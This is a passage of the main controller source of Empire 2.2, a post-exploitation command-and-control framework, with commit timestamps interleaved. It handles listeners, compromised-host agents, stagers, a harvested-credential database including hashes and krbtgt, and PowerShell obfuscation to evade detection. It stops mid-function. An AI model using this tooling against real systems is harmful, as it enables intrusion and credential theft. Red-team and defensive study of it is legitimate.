2015-08-05 18:36:39 +00:00
"""
The main controller class for Empire .
This is what ' s launched from ./empire.
Contains the Main , Listener , Agents , Agent , and Module
menu loops .
"""
2016-07-21 03:44:30 +00:00
# make version for Empire
2017-10-12 22:27:18 +00:00
VERSION = " 2.2 "
2016-07-21 03:44:30 +00:00
2016-09-23 18:04:35 +00:00
from pydispatch import dispatcher
2016-07-21 03:44:30 +00:00
2016-07-21 01:28:27 +00:00
import sys
import cmd
import sqlite3
import os
import hashlib
import time
2017-03-11 23:35:17 +00:00
import fnmatch
2017-09-21 22:40:08 +00:00
import shlex
2015-08-05 18:36:39 +00:00
# Empire imports
import helpers
import messages
import agents
import listeners
import modules
import stagers
import credentials
2017-01-16 16:31:34 +00:00
from zlib_wrapper import compress
from zlib_wrapper import decompress
2016-07-21 01:28:27 +00:00
2015-11-22 01:03:40 +00:00
# custom exceptions used for nested menu navigation
2016-07-21 01:28:27 +00:00
class NavMain ( Exception ) :
"""
Custom exception class used to navigate to the ' main ' menu .
"""
pass
2015-11-22 01:03:40 +00:00
2016-07-21 01:28:27 +00:00
class NavAgents ( Exception ) :
"""
Custom exception class used to navigate to the ' agents ' menu .
"""
pass
class NavListeners ( Exception ) :
"""
Custom exception class used to navigate to the ' listeners ' menu .
"""
pass
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
class MainMenu ( cmd . Cmd ) :
"""
The main class used by Empire to drive the ' main ' menu
displayed when Empire starts .
"""
2017-09-06 15:14:36 +00:00
def __init__ ( self , args = None ) :
2015-08-05 18:36:39 +00:00
cmd . Cmd . __init__ ( self )
2016-07-21 01:28:27 +00:00
# globalOptions[optionName] = (value, required, description)
2015-08-05 18:36:39 +00:00
self . globalOptions = { }
# empty database object
self . conn = self . database_connect ( )
2016-09-23 18:04:35 +00:00
time . sleep ( 1 )
2015-08-05 18:36:39 +00:00
2016-03-22 00:20:03 +00:00
# pull out some common configuration information
2017-03-11 23:35:17 +00:00
( self . isroot , self . installPath , self . ipWhiteList , self . ipBlackList , self . obfuscate , self . obfuscateCommand ) = helpers . get_config ( ' rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command ' )
2015-08-05 18:36:39 +00:00
# change the default prompt for the user
2016-09-23 18:04:35 +00:00
self . prompt = ' (Empire) > '
2015-08-05 18:36:39 +00:00
self . do_help . __func__ . __doc__ = ''' Displays the help menu. '''
self . doc_header = ' Commands '
2016-07-21 01:28:27 +00:00
dispatcher . connect ( self . handle_event , sender = dispatcher . Any )
2015-08-05 18:36:39 +00:00
2015-11-22 01:03:40 +00:00
# Main, Agents, or Listeners
2016-09-23 18:04:35 +00:00
self . menu_state = ' Main '
2015-11-22 01:03:40 +00:00
2016-02-16 06:52:32 +00:00
# parse/handle any passed command line arguments
self . args = args
2016-09-23 18:04:35 +00:00
# instantiate the agents, listeners, and stagers objects
self . agents = agents . Agents ( self , args = args )
self . credentials = credentials . Credentials ( self , args = args )
self . stagers = stagers . Stagers ( self , args = args )
self . modules = modules . Modules ( self , args = args )
self . listeners = listeners . Listeners ( self , args = args )
2017-10-16 15:55:48 +00:00
self . resourceQueue = [ ]
2017-10-16 18:55:09 +00:00
#A hashtable of autruns based on agent language
self . autoRuns = { }
2017-10-16 15:55:48 +00:00
2017-08-09 18:52:32 +00:00
self . handle_args ( )
dispatcher . send ( ' [*] Empire starting up... ' , sender = " Empire " )
2016-09-23 18:04:35 +00:00
# print the loading menu
messages . loading ( )
def check_root ( self ) :
"""
Check if Empire has been run as root , and alert user .
"""
try :
if os . geteuid ( ) != 0 :
if self . isroot :
messages . title ( VERSION )
print " [!] Warning: Running Empire as non-root, after running as root will likely fail to access prior agents! "
while True :
a = raw_input ( helpers . color ( " [>] Are you sure you want to continue (y) or (n): " ) )
if a . startswith ( " y " ) :
return
if a . startswith ( " n " ) :
self . shutdown ( )
sys . exit ( )
else :
pass
if os . geteuid ( ) == 0 :
if self . isroot :
pass
if not self . isroot :
cur = self . conn . cursor ( )
cur . execute ( " UPDATE config SET rootuser = 1 " )
cur . close ( )
except Exception as e :
print e
2015-08-05 18:36:39 +00:00
2016-02-16 06:52:32 +00:00
def handle_args ( self ) :
"""
Handle any passed arguments .
"""
2017-10-16 15:55:48 +00:00
if self . args . resource :
resourceFile = self . args . resource [ 0 ]
2017-10-17 16:25:19 +00:00
self . do_resource ( resourceFile )
2017-10-16 15:55:48 +00:00
2016-02-16 07:02:18 +00:00
if self . args . listener or self . args . stager :
2016-02-16 06:52:32 +00:00
# if we're displaying listeners/stagers or generating a stager
2016-02-16 07:02:18 +00:00
if self . args . listener :
if self . args . listener == ' list ' :
2016-09-23 18:04:35 +00:00
messages . display_active_listeners ( self . listeners . activeListeners )
2016-02-16 06:52:32 +00:00
else :
2016-09-23 18:04:35 +00:00
activeListeners = self . listeners . activeListeners
2016-02-16 07:02:18 +00:00
targetListener = [ l for l in activeListeners if self . args . listener in l [ 1 ] ]
2016-02-16 06:52:32 +00:00
if targetListener :
targetListener = targetListener [ 0 ]
2016-09-23 18:04:35 +00:00
# messages.display_listener_database(targetListener)
# TODO: reimplement this logic
2016-02-16 06:52:32 +00:00
else :
2016-07-21 01:28:27 +00:00
print helpers . color ( " \n [!] No active listeners with name ' %s ' \n " % ( self . args . listener ) )
2016-02-16 06:52:32 +00:00
else :
if self . args . stager == ' list ' :
print " \n Stagers: \n "
print " Name Description "
print " ---- ----------- "
2016-07-21 01:28:27 +00:00
for stagerName , stager in self . stagers . stagers . iteritems ( ) :
2016-02-16 06:52:32 +00:00
print " %s %s " % ( ' {0: <17} ' . format ( stagerName ) , stager . info [ ' Description ' ] )
print " \n "
else :
stagerName = self . args . stager
try :
targetStager = self . stagers . stagers [ stagerName ]
menu = StagerMenu ( self , stagerName )
if self . args . stager_options :
for option in self . args . stager_options :
if ' = ' not in option :
2016-07-21 01:28:27 +00:00
print helpers . color ( " \n [!] Invalid option: ' %s ' " % ( option ) )
2016-02-16 06:52:32 +00:00
print helpers . color ( " [!] Please use Option=Value format \n " )
2016-07-21 01:28:27 +00:00
if self . conn :
self . conn . close ( )
2016-02-16 06:52:32 +00:00
sys . exit ( )
# split the passed stager options by = and set the appropriate option
optionName , optionValue = option . split ( ' = ' )
2016-07-21 01:28:27 +00:00
menu . do_set ( " %s %s " % ( optionName , optionValue ) )
2016-02-16 06:52:32 +00:00
# generate the stager
menu . do_generate ( ' ' )
else :
2016-07-21 03:39:25 +00:00
messages . display_stager ( targetStager )
2016-02-16 06:52:32 +00:00
except Exception as e :
print e
2016-07-21 01:28:27 +00:00
print helpers . color ( " \n [!] No current stager with name ' %s ' \n " % ( stagerName ) )
2016-02-16 06:52:32 +00:00
# shutdown the database connection object
2016-07-21 01:28:27 +00:00
if self . conn :
self . conn . close ( )
2016-02-16 06:52:32 +00:00
sys . exit ( )
2015-08-05 18:36:39 +00:00
def shutdown ( self ) :
"""
Perform any shutdown actions .
"""
2016-09-23 18:04:35 +00:00
print " \n " + helpers . color ( " [!] Shutting down... " )
2015-08-05 18:36:39 +00:00
dispatcher . send ( " [*] Empire shutting down... " , sender = " Empire " )
# enumerate all active servers/listeners and shut them down
2016-09-23 18:04:35 +00:00
self . listeners . shutdown_listener ( ' all ' )
2015-08-05 18:36:39 +00:00
# shutdown the database connection object
if self . conn :
self . conn . close ( )
def database_connect ( self ) :
2016-07-21 01:28:27 +00:00
"""
Connect to the default database at . / data / empire . db .
"""
2015-08-05 18:36:39 +00:00
try :
# set the database connectiont to autocommit w/ isolation level
self . conn = sqlite3 . connect ( ' ./data/empire.db ' , check_same_thread = False )
2016-01-14 20:57:26 +00:00
self . conn . text_factory = str
2015-08-05 18:36:39 +00:00
self . conn . isolation_level = None
return self . conn
2016-07-21 01:28:27 +00:00
except Exception :
2015-08-05 18:36:39 +00:00
print helpers . color ( " [!] Could not connect to database " )
print helpers . color ( " [!] Please run database_setup.py " )
sys . exit ( )
def cmdloop ( self ) :
2016-09-23 18:04:35 +00:00
"""
The main cmdloop logic that handles navigation to other menus .
"""
2015-11-22 01:03:40 +00:00
while True :
2015-08-05 18:36:39 +00:00
try :
2016-09-23 18:04:35 +00:00
if self . menu_state == ' Agents ' :
self . do_agents ( ' ' )
elif self . menu_state == ' Listeners ' :
self . do_listeners ( ' ' )
2015-08-05 18:36:39 +00:00
else :
2015-11-22 01:03:40 +00:00
# display the main title
messages . title ( VERSION )
2015-08-05 18:36:39 +00:00
2015-11-22 01:03:40 +00:00
# get active listeners, agents, and loaded modules
2016-09-23 18:04:35 +00:00
num_agents = self . agents . get_agents_db ( )
2016-07-21 01:28:27 +00:00
if num_agents :
2015-11-22 01:03:40 +00:00
num_agents = len ( num_agents )
else :
num_agents = 0
2015-08-05 18:36:39 +00:00
2015-11-22 01:03:40 +00:00
num_modules = self . modules . modules
2016-07-21 01:28:27 +00:00
if num_modules :
2015-11-22 01:03:40 +00:00
num_modules = len ( num_modules )
else :
num_modules = 0
2016-09-23 18:04:35 +00:00
num_listeners = self . listeners . activeListeners
2016-07-21 01:28:27 +00:00
if num_listeners :
2015-11-22 01:03:40 +00:00
num_listeners = len ( num_listeners )
else :
num_listeners = 0
print " " + helpers . color ( str ( num_modules ) , " green " ) + " modules currently loaded \n "
print " " + helpers . color ( str ( num_listeners ) , " green " ) + " listeners currently active \n "
print " " + helpers . color ( str ( num_agents ) , " green " ) + " agents currently active \n \n "
2017-10-16 15:55:48 +00:00
if len ( self . resourceQueue ) > 0 :
2017-10-12 21:45:07 +00:00
self . cmdqueue . append ( self . resourceQueue . pop ( 0 ) )
2017-10-12 20:17:35 +00:00
2015-11-22 01:03:40 +00:00
cmd . Cmd . cmdloop ( self )
2016-09-23 18:04:35 +00:00
2015-11-22 01:03:40 +00:00
# handle those pesky ctrl+c's
2015-08-05 18:36:39 +00:00
except KeyboardInterrupt as e :
2015-11-22 01:03:40 +00:00
self . menu_state = " Main "
try :
choice = raw_input ( helpers . color ( " \n [>] Exit? [y/N] " , " red " ) )
if choice . lower ( ) != " " and choice . lower ( ) [ 0 ] == " y " :
self . shutdown ( )
return True
else :
continue
except KeyboardInterrupt as e :
continue
# exception used to signal jumping to "Main" menu
except NavMain as e :
self . menu_state = " Main "
# exception used to signal jumping to "Agents" menu
except NavAgents as e :
self . menu_state = " Agents "
# exception used to signal jumping to "Listeners" menu
except NavListeners as e :
self . menu_state = " Listeners "
2015-08-05 18:36:39 +00:00
2016-03-24 20:03:31 +00:00
except Exception as e :
2016-07-21 01:28:27 +00:00
print helpers . color ( " [!] Exception: %s " % ( e ) )
2016-03-24 20:03:31 +00:00
time . sleep ( 5 )
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
def print_topics ( self , header , commands , cmdlen , maxcol ) :
2016-09-23 18:04:35 +00:00
"""
Print a nicely formatted help menu .
Adapted from recon - ng
"""
2016-07-21 01:28:27 +00:00
if commands :
self . stdout . write ( " %s \n " % str ( header ) )
2015-08-05 18:36:39 +00:00
if self . ruler :
2016-07-21 01:28:27 +00:00
self . stdout . write ( " %s \n " % str ( self . ruler * len ( header ) ) )
for command in commands :
self . stdout . write ( " %s %s \n " % ( command . ljust ( 17 ) , getattr ( self , ' do_ ' + command ) . __doc__ ) )
2015-08-05 18:36:39 +00:00
self . stdout . write ( " \n " )
2016-07-21 01:28:27 +00:00
def emptyline ( self ) :
2016-09-23 18:04:35 +00:00
"""
If any empty line is entered , do nothing .
"""
2016-07-21 01:28:27 +00:00
pass
2015-08-05 18:36:39 +00:00
def handle_event ( self , signal , sender ) :
"""
Default event handler .
Signal Senders :
Empire - the main Empire controller ( this file )
Agents - the Agents handler
Listeners - the Listeners handler
HttpHandler - the HTTP handler
EmpireServer - the Empire HTTP server
"""
2016-07-21 01:28:27 +00:00
2016-02-18 01:06:33 +00:00
# if --debug X is passed, log out all dispatcher signals
2015-08-05 18:36:39 +00:00
if self . args . debug :
2016-02-18 01:06:33 +00:00
2016-09-23 18:04:35 +00:00
debug_file = open ( ' empire.debug ' , ' a ' )
debug_file . write ( " %s %s : %s \n " % ( helpers . get_datetime ( ) , sender , signal ) )
2016-07-21 01:28:27 +00:00
debug_file . close ( )
2015-08-05 18:36:39 +00:00
2016-02-18 01:06:33 +00:00
if self . args . debug == ' 2 ' :
# if --debug 2, also print the output to the screen
2016-09-23 18:04:35 +00:00
print " %s : %s " % ( sender , signal )
2016-02-18 01:06:33 +00:00
2015-08-05 18:36:39 +00:00
# display specific signals from the agents.
if sender == " Agents " :
if " [+] Initial agent " in signal :
print helpers . color ( signal )
2016-09-23 18:04:35 +00:00
if ( " [+] Listener for " in signal ) and ( " updated to " in signal ) :
print helpers . color ( signal )
2015-08-05 18:36:39 +00:00
elif " [!] Agent " in signal and " exiting " in signal :
print helpers . color ( signal )
2015-09-22 02:32:46 +00:00
elif " WARNING " in signal or " attempted overwrite " in signal :
print helpers . color ( signal )
2015-08-05 18:36:39 +00:00
elif " on the blacklist " in signal :
print helpers . color ( signal )
elif sender == " EmpireServer " :
if " [!] Error starting listener " in signal :
print helpers . color ( signal )
elif sender == " Listeners " :
print helpers . color ( signal )
###################################################
# CMD methods
###################################################
2017-10-12 20:17:35 +00:00
def postcmd ( self , stop , line ) :
2017-10-16 15:55:48 +00:00
if len ( self . resourceQueue ) > 0 :
nextcmd = self . resourceQueue . pop ( 0 )
self . cmdqueue . append ( nextcmd )
2017-10-12 20:17:35 +00:00
2015-08-05 18:36:39 +00:00
def default ( self , line ) :
2016-09-23 18:04:35 +00:00
" Default handler. "
2015-08-05 18:36:39 +00:00
pass
2017-10-12 21:45:07 +00:00
def do_resource ( self , arg ) :
2017-10-13 03:28:45 +00:00
" Read and execute a list of Empire commands from a file. "
2017-10-17 16:25:19 +00:00
self . resourceQueue . extend ( self . buildQueue ( arg ) )
def buildQueue ( self , resourceFile , autoRun = False ) :
cmds = [ ]
if os . path . isfile ( resourceFile ) :
with open ( resourceFile , ' r ' ) as f :
lines = [ ]
lines . extend ( f . read ( ) . splitlines ( ) )
else :
raise Exception ( " [!] Error: The resource file specified \" %s \" does not exist " % resourceFile )
for lineFull in lines :
line = lineFull . strip ( )
#ignore lines that start with the comment symbol (#)
if line . startswith ( " # " ) :
continue
#read in another resource file
elif line . startswith ( " resource " ) :
rf = line . split ( ' ' ) [ 1 ]
cmds . extend ( self . buildQueue ( rf , autoRun ) )
#add noprompt option to execute without user confirmation
elif autoRun and line == " execute " :
cmds . append ( line + " noprompt " )
else :
cmds . append ( line )
return cmds
2015-08-05 18:36:39 +00:00
def do_exit ( self , line ) :
" Exit Empire "
2015-11-22 01:03:40 +00:00
raise KeyboardInterrupt
2015-08-05 18:36:39 +00:00
def do_agents ( self , line ) :
" Jump to the Agents menu. "
2015-11-24 05:41:16 +00:00
try :
2016-07-21 01:28:27 +00:00
agents_menu = AgentsMenu ( self )
agents_menu . cmdloop ( )
2015-11-24 05:41:16 +00:00
except Exception as e :
raise e
2015-08-05 18:36:39 +00:00
def do_listeners ( self , line ) :
" Interact with active listeners. "
2015-11-24 05:41:16 +00:00
try :
2016-09-23 18:04:35 +00:00
listener_menu = ListenersMenu ( self )
2016-07-21 01:28:27 +00:00
listener_menu . cmdloop ( )
2015-11-24 05:41:16 +00:00
except Exception as e :
raise e
2015-08-05 18:36:39 +00:00
def do_usestager ( self , line ) :
" Use an Empire stager. "
2015-11-24 05:41:16 +00:00
try :
2016-09-23 18:04:35 +00:00
parts = line . split ( ' ' )
2015-08-05 18:36:39 +00:00
2015-11-24 05:41:16 +00:00
if parts [ 0 ] not in self . stagers . stagers :
print helpers . color ( " [!] Error: invalid stager module " )
2015-08-05 18:36:39 +00:00
2015-11-24 05:41:16 +00:00
elif len ( parts ) == 1 :
2016-07-21 01:28:27 +00:00
stager_menu = StagerMenu ( self , parts [ 0 ] )
stager_menu . cmdloop ( )
2015-11-24 05:41:16 +00:00
elif len ( parts ) == 2 :
listener = parts [ 1 ]
if not self . listeners . is_listener_valid ( listener ) :
print helpers . color ( " [!] Please enter a valid listener name or ID " )
else :
self . stagers . set_stager_option ( ' Listener ' , listener )
2016-07-21 01:28:27 +00:00
stager_menu = StagerMenu ( self , parts [ 0 ] )
stager_menu . cmdloop ( )
2015-11-24 05:41:16 +00:00
else :
print helpers . color ( " [!] Error in MainMenu ' s do_userstager() " )
except Exception as e :
raise e
2015-08-05 18:36:39 +00:00
2016-03-22 18:32:47 +00:00
2015-08-05 18:36:39 +00:00
def do_usemodule ( self , line ) :
" Use an Empire module. "
2017-07-03 12:11:00 +00:00
# Strip asterisks added by MainMenu.complete_usemodule()
2017-07-03 11:56:47 +00:00
line = line . rstrip ( " * " )
2015-08-05 18:36:39 +00:00
if line not in self . modules . modules :
print helpers . color ( " [!] Error: invalid module " )
else :
2015-11-24 05:41:16 +00:00
try :
2016-07-21 01:28:27 +00:00
module_menu = ModuleMenu ( self , line )
module_menu . cmdloop ( )
2015-11-24 05:41:16 +00:00
except Exception as e :
raise e
2015-08-05 18:36:39 +00:00
2016-03-22 18:32:47 +00:00
2015-08-05 18:36:39 +00:00
def do_searchmodule ( self , line ) :
" Search Empire module names/descriptions. "
2016-02-16 05:35:32 +00:00
self . modules . search_modules ( line . strip ( ) )
2015-08-05 18:36:39 +00:00
def do_creds ( self , line ) :
" Add/display credentials to/from the database. "
filterTerm = line . strip ( )
if filterTerm == " " :
creds = self . credentials . get_credentials ( )
2017-09-21 22:40:08 +00:00
elif shlex . split ( filterTerm ) [ 0 ] . lower ( ) == " add " :
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
# add format: "domain username password <notes> <credType> <sid>
2017-09-21 22:40:08 +00:00
args = shlex . split ( filterTerm ) [ 1 : ]
2015-08-05 18:36:39 +00:00
if len ( args ) == 3 :
domain , username , password = args
if helpers . validate_ntlm ( password ) :
# credtype, domain, username, password, host, sid="", notes=""):
self . credentials . add_credential ( " hash " , domain , username , password , " " )
else :
self . credentials . add_credential ( " plaintext " , domain , username , password , " " )
elif len ( args ) == 4 :
domain , username , password , notes = args
if helpers . validate_ntlm ( password ) :
self . credentials . add_credential ( " hash " , domain , username , password , " " , notes = notes )
else :
self . credentials . add_credential ( " plaintext " , domain , username , password , " " , notes = notes )
elif len ( args ) == 5 :
domain , username , password , notes , credType = args
self . credentials . add_credential ( credType , domain , username , password , " " , notes = notes )
elif len ( args ) == 6 :
domain , username , password , notes , credType , sid = args
self . credentials . add_credential ( credType , domain , username , password , " " , sid = sid , notes = notes )
else :
print helpers . color ( " [!] Format is ' add domain username password <notes> <credType> <sid> " )
return
creds = self . credentials . get_credentials ( )
2017-09-21 22:40:08 +00:00
elif shlex . split ( filterTerm ) [ 0 ] . lower ( ) == " remove " :
2015-08-05 18:36:39 +00:00
try :
2017-09-21 22:40:08 +00:00
args = shlex . split ( filterTerm ) [ 1 : ]
2016-07-21 01:28:27 +00:00
if len ( args ) != 1 :
2015-08-05 18:36:39 +00:00
print helpers . color ( " [!] Format is ' remove <credID>/<credID-credID>/all ' " )
else :
if args [ 0 ] . lower ( ) == " all " :
choice = raw_input ( helpers . color ( " [>] Remove all credentials from the database? [y/N] " , " red " ) )
if choice . lower ( ) != " " and choice . lower ( ) [ 0 ] == " y " :
self . credentials . remove_all_credentials ( )
else :
if " , " in args [ 0 ] :
credIDs = args [ 0 ] . split ( " , " )
self . credentials . remove_credentials ( credIDs )
elif " - " in args [ 0 ] :
parts = args [ 0 ] . split ( " - " )
2016-07-21 01:28:27 +00:00
credIDs = [ x for x in xrange ( int ( parts [ 0 ] ) , int ( parts [ 1 ] ) + 1 ) ]
2015-08-05 18:36:39 +00:00
self . credentials . remove_credentials ( credIDs )
else :
self . credentials . remove_credentials ( args )
2016-07-21 01:28:27 +00:00
except Exception :
2015-08-05 18:36:39 +00:00
print helpers . color ( " [!] Error in remove command parsing. " )
print helpers . color ( " [!] Format is ' remove <credID>/<credID-credID>/all ' " )
return
2017-09-21 22:40:08 +00:00
elif shlex . split ( filterTerm ) [ 0 ] . lower ( ) == " export " :
args = shlex . split ( filterTerm ) [ 1 : ]
2015-08-05 18:36:39 +00:00
if len ( args ) != 1 :
print helpers . color ( " [!] Please supply an output filename/filepath. " )
return
else :
2016-07-21 01:28:27 +00:00
self . credentials . export_credentials ( args [ 0 ] )
2015-08-05 18:36:39 +00:00
return
2017-09-21 22:40:08 +00:00
elif shlex . split ( filterTerm ) [ 0 ] . lower ( ) == " plaintext " :
2015-08-05 18:36:39 +00:00
creds = self . credentials . get_credentials ( credtype = " plaintext " )
2017-09-21 22:40:08 +00:00
elif shlex . split ( filterTerm ) [ 0 ] . lower ( ) == " hash " :
2015-08-05 18:36:39 +00:00
creds = self . credentials . get_credentials ( credtype = " hash " )
2017-09-21 22:40:08 +00:00
elif shlex . split ( filterTerm ) [ 0 ] . lower ( ) == " krbtgt " :
2015-08-05 18:36:39 +00:00
creds = self . credentials . get_krbtgt ( )
else :
creds = self . credentials . get_credentials ( filterTerm = filterTerm )
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
messages . display_credentials ( creds )
def do_set ( self , line ) :
" Set a global option (e.g. IP whitelists). "
2016-09-23 18:04:35 +00:00
parts = line . split ( ' ' )
2015-08-05 18:36:39 +00:00
if len ( parts ) == 1 :
print helpers . color ( " [!] Please enter ' IP,IP-IP,IP/CIDR ' or a file path. " )
else :
if parts [ 0 ] . lower ( ) == " ip_whitelist " :
if parts [ 1 ] != " " and os . path . exists ( parts [ 1 ] ) :
2015-12-29 20:57:01 +00:00
try :
2016-07-21 01:28:27 +00:00
open_file = open ( parts [ 1 ] , ' r ' )
ipData = open_file . read ( )
open_file . close ( )
2015-12-29 20:57:01 +00:00
self . agents . ipWhiteList = helpers . generate_ip_list ( ipData )
2016-07-21 01:28:27 +00:00
except Exception :
print helpers . color ( " [!] Error opening ip file %s " % ( parts [ 1 ] ) )
2015-08-05 18:36:39 +00:00
else :
self . agents . ipWhiteList = helpers . generate_ip_list ( " , " . join ( parts [ 1 : ] ) )
elif parts [ 0 ] . lower ( ) == " ip_blacklist " :
if parts [ 1 ] != " " and os . path . exists ( parts [ 1 ] ) :
2015-12-29 20:57:01 +00:00
try :
2016-07-21 01:28:27 +00:00
open_file = open ( parts [ 1 ] , ' r ' )
ipData = open_file . read ( )
open_file . close ( )
2015-12-29 20:57:01 +00:00
self . agents . ipBlackList = helpers . generate_ip_list ( ipData )
2016-07-21 01:28:27 +00:00
except Exception :
print helpers . color ( " [!] Error opening ip file %s " % ( parts [ 1 ] ) )
2015-08-05 18:36:39 +00:00
else :
self . agents . ipBlackList = helpers . generate_ip_list ( " , " . join ( parts [ 1 : ] ) )
2017-03-11 23:35:17 +00:00
elif parts [ 0 ] . lower ( ) == " obfuscate " :
if parts [ 1 ] . lower ( ) == " true " :
2017-04-23 01:17:28 +00:00
if not helpers . is_powershell_installed ( ) :
print helpers . color ( " [!] PowerShell is not installed and is required to use obfuscation, please install it first. " )
else :
self . obfuscate = True
print helpers . color ( " [*] Obfuscating all future powershell commands run on all agents. " )
2017-03-11 23:35:17 +00:00
elif parts [ 1 ] . lower ( ) == " false " :
2017-04-23 01:17:28 +00:00
print helpers . color ( " [*] Future powershell command run on all agents will not be obfuscated. " )
2017-03-11 23:35:17 +00:00
self . obfuscate = False
else :
print helpers . color ( " [!] Valid options for obfuscate are ' true ' or ' false ' " )
elif parts [ 0 ] . lower ( ) == " obfuscate_command " :
self . obfuscateCommand = parts [ 1 ]
2015-08-05 18:36:39 +00:00
else :
2017-03-11 23:35:17 +00:00
print helpers . color ( " [!] Please choose ' ip_whitelist ' , ' ip_blacklist ' , ' obfuscate ' , or ' obfuscate_command ' " )
2015-08-05 18:36:39 +00:00
def do_reset ( self , line ) :
" Reset a global option (e.g. IP whitelists). "
if line . strip ( ) . lower ( ) == " ip_whitelist " :
self . agents . ipWhiteList = None
if line . strip ( ) . lower ( ) == " ip_blacklist " :
self . agents . ipBlackList = None
def do_show ( self , line ) :
" Show a global option (e.g. IP whitelists). "
if line . strip ( ) . lower ( ) == " ip_whitelist " :
print self . agents . ipWhiteList
if line . strip ( ) . lower ( ) == " ip_blacklist " :
print self . agents . ipBlackList
2017-03-11 23:35:17 +00:00
if line . strip ( ) . lower ( ) == " obfuscate " :
print self . obfuscate
if line . strip ( ) . lower ( ) == " obfuscate_command " :
print self . obfuscateCommand
2015-08-05 18:36:39 +00:00
2016-03-31 03:03:02 +00:00
def do_load ( self , line ) :
" Loads Empire modules from a non-standard folder. "
2016-07-21 01:28:27 +00:00
2016-03-31 03:03:02 +00:00
if line . strip ( ) == ' ' or not os . path . isdir ( line . strip ( ) ) :
2016-09-23 18:04:35 +00:00
print helpers . color ( " [!] Please specify a valid folder to load modules from. " )
2016-03-31 03:03:02 +00:00
else :
self . modules . load_modules ( rootPath = line . strip ( ) )
2015-08-05 18:36:39 +00:00
def do_reload ( self , line ) :
" Reload one (or all) Empire modules. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
if line . strip ( ) . lower ( ) == " all " :
# reload all modules
print " \n " + helpers . color ( " [*] Reloading all modules. " ) + " \n "
self . modules . load_modules ( )
2016-03-31 03:03:02 +00:00
elif os . path . isdir ( line . strip ( ) ) :
# if we're loading an external directory
self . modules . load_modules ( rootPath = line . strip ( ) )
2015-08-05 18:36:39 +00:00
else :
if line . strip ( ) not in self . modules . modules :
print helpers . color ( " [!] Error: invalid module " )
else :
print " \n " + helpers . color ( " [*] Reloading module: " + line ) + " \n "
self . modules . reload_module ( line )
2015-08-20 23:08:40 +00:00
def do_list ( self , line ) :
" Lists active agents or listeners. "
2016-09-23 18:04:35 +00:00
parts = line . split ( ' ' )
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
if parts [ 0 ] . lower ( ) == ' agents ' :
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
line = ' ' . join ( parts [ 1 : ] )
allAgents = self . agents . get_agents_db ( )
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
if line . strip ( ) . lower ( ) == ' stale ' :
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
agentsToDisplay = [ ]
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents :
2015-08-20 23:08:40 +00:00
# max check in -> delay + delay*jitter
2016-09-23 18:04:35 +00:00
intervalMax = ( agent [ ' delay ' ] + agent [ ' delay ' ] * agent [ ' jitter ' ] ) + 30
2015-08-20 23:08:40 +00:00
# get the agent last check in time
2016-09-23 18:04:35 +00:00
agentTime = time . mktime ( time . strptime ( agent [ ' lastseen_time ' ] , " % Y- % m- %d % H: % M: % S " ) )
if agentTime < time . mktime ( time . localtime ( ) ) - intervalMax :
2015-08-20 23:08:40 +00:00
# if the last checkin time exceeds the limit, remove it
2016-09-23 18:04:35 +00:00
agentsToDisplay . append ( agent )
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
messages . display_agents ( agentsToDisplay )
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
elif line . strip ( ) != ' ' :
2015-08-20 23:08:40 +00:00
# if we're listing an agents active in the last X minutes
try :
minutes = int ( line . strip ( ) )
2016-07-21 01:28:27 +00:00
2015-08-20 23:08:40 +00:00
# grab just the agents active within the specified window (in minutes)
2016-09-23 18:04:35 +00:00
agentsToDisplay = [ ]
for agent in allAgents :
agentTime = time . mktime ( time . strptime ( agent [ ' lastseen_time ' ] , " % Y- % m- %d % H: % M: % S " ) )
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
if agentTime > time . mktime ( time . localtime ( ) ) - ( int ( minutes ) * 60 ) :
agentsToDisplay . append ( agent )
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
messages . display_agents ( agentsToDisplay )
2015-08-20 23:08:40 +00:00
2016-07-21 01:28:27 +00:00
except Exception :
2015-08-20 23:08:40 +00:00
print helpers . color ( " [!] Please enter the minute window for agent checkin. " )
else :
2016-09-23 18:04:35 +00:00
messages . display_agents ( allAgents )
2015-08-20 23:08:40 +00:00
2016-09-23 18:04:35 +00:00
elif parts [ 0 ] . lower ( ) == ' listeners ' :
messages . display_active_listeners ( self . listeners . activeListeners )
2015-08-20 23:08:40 +00:00
2016-07-15 22:56:38 +00:00
def do_interact ( self , line ) :
" Interact with a particular agent. "
2016-07-21 01:28:27 +00:00
2016-07-15 22:56:38 +00:00
name = line . strip ( )
2016-09-23 18:04:35 +00:00
sessionID = self . agents . get_agent_id_db ( name )
2016-07-15 22:56:38 +00:00
2016-09-23 18:04:35 +00:00
if sessionID and sessionID != ' ' and sessionID in self . agents . agents :
AgentMenu ( self , sessionID )
2016-07-15 22:56:38 +00:00
else :
print helpers . color ( " [!] Please enter a valid agent name " )
2017-03-11 23:35:17 +00:00
def do_preobfuscate ( self , line ) :
2017-04-23 01:17:28 +00:00
" Preobfuscate PowerShell module_source files "
if not helpers . is_powershell_installed ( ) :
print helpers . color ( " [!] PowerShell is not installed and is required to use obfuscation, please install it first. " )
return
2017-03-11 23:35:17 +00:00
module = line . strip ( )
2017-04-23 01:17:28 +00:00
obfuscate_all = False
obfuscate_confirmation = False
reobfuscate = False
# Preobfuscate ALL module_source files
2017-03-11 23:35:17 +00:00
if module == " " or module == " all " :
2017-04-23 01:17:28 +00:00
choice = raw_input ( helpers . color ( " [>] Preobfuscate all PowerShell module_source files using obfuscation command: \" " + self . obfuscateCommand + " \" ? \n This may take a substantial amount of time. [y/N] " , " red " ) )
2017-03-11 23:35:17 +00:00
if choice . lower ( ) != " " and choice . lower ( ) [ 0 ] == " y " :
2017-04-23 01:17:28 +00:00
obfuscate_all = True
obfuscate_confirmation = True
